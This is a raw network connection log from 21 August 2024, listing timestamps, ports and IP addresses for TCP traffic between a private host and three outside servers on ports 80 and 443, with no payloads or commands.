Aug 21, 2024 08:32:16.722157955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722157955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722162962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722170115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722209930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722223043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722229004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722234964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722235918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722240925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722244978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722249985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722264051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722270012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722275019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722280979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722296953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722302914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722312927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722313881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722313881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722327948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722362041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722450018 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.722466946 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.722542048 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.722556114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.722642899 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.723033905 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723047972 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723154068 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.723164082 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723318100 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.723561049 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723576069 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723635912 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.723642111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.723690987 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.724407911 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.724421978 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.724473000 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.724486113 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.724524975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724530935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724540949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724551916 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.724584103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.724689007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724694967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724701881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724706888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.724750042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.725209951 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725224018 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725240946 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725245953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725258112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725263119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725266933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725272894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725277901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725289106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725301027 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.725310087 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725337982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.725337982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.725369930 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.725389004 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725404978 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725474119 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.725480080 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.725526094 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.725887060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725892067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725898027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725955963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725960970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725970984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725976944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.725994110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726025105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726025105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726216078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726227999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726238012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726242065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726246119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726250887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726264000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726272106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726274014 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726298094 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726317883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726624012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726684093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726695061 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726754904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726767063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726772070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726777077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726779938 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726809978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726829052 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726845026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726851940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726861954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726901054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726907015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726914883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726919889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726938963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726938963 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726967096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.726969957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726979971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.726989985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727036953 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727097034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727205992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727229118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727241993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727245092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727294922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727299929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727308035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727319002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727353096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727387905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727396965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727407932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727413893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727462053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727493048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727519035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727525949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727530956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727535963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727541924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727545977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727552891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727564096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727574110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727601051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727618933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727619886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727626085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727638960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727674961 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727691889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.727694035 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.727801085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729531050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729540110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729548931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729590893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729615927 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729630947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729636908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729649067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729654074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729686975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729691982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729698896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729748964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729799032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729804993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729816914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729821920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729826927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729832888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729860067 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729862928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729876041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729881048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729882002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729892969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729907036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.729932070 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.729962111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.734034061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734040976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734052896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734095097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734101057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734101057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734107018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734112978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734144926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734262943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734268904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734276056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734308004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734314919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734317064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734323978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734330893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734355927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734380960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734392881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734404087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734411001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734441996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734469891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734539032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734544992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734555006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734591007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734623909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734674931 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734688997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734714031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734725952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734730959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734735966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734746933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734754086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734759092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.734766960 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.734819889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735270023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735275030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735285997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735332966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735338926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735349894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735361099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735364914 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735423088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735490084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735496998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735507011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735511065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735516071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735522032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735532999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735538960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735549927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735557079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735558987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735569000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735594988 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735662937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735759020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735769987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735816956 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735855103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735868931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.735892057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735915899 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.735953093 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.735970974 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.736012936 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.736021042 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.736035109 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.736098051 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.736280918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736289978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736298084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736303091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736309052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736314058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736330986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736340046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.736346960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736377001 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.736390114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.736777067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736782074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736793041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736803055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736809015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736814022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.736835003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.736866951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.736902952 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.736918926 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.736963987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737003088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737003088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737008095 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.737008095 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.737009048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737018108 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.737047911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737072945 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.737078905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737085104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737095118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737101078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737104893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737124920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737152100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737319946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737324953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737335920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737369061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737526894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737577915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737590075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737595081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737597942 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737598896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.737617016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.737632036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.747564077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747625113 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.747695923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747700930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747755051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.747806072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747813940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747821093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747826099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747837067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.747855902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.747876883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.754734993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754743099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754755020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754759073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754765034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754770994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754782915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.754805088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.754837036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755008936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755017042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755023956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755028009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755033970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755067110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755073071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755079031 CEST	80	49720	147.45.44.104	192.168.2.6
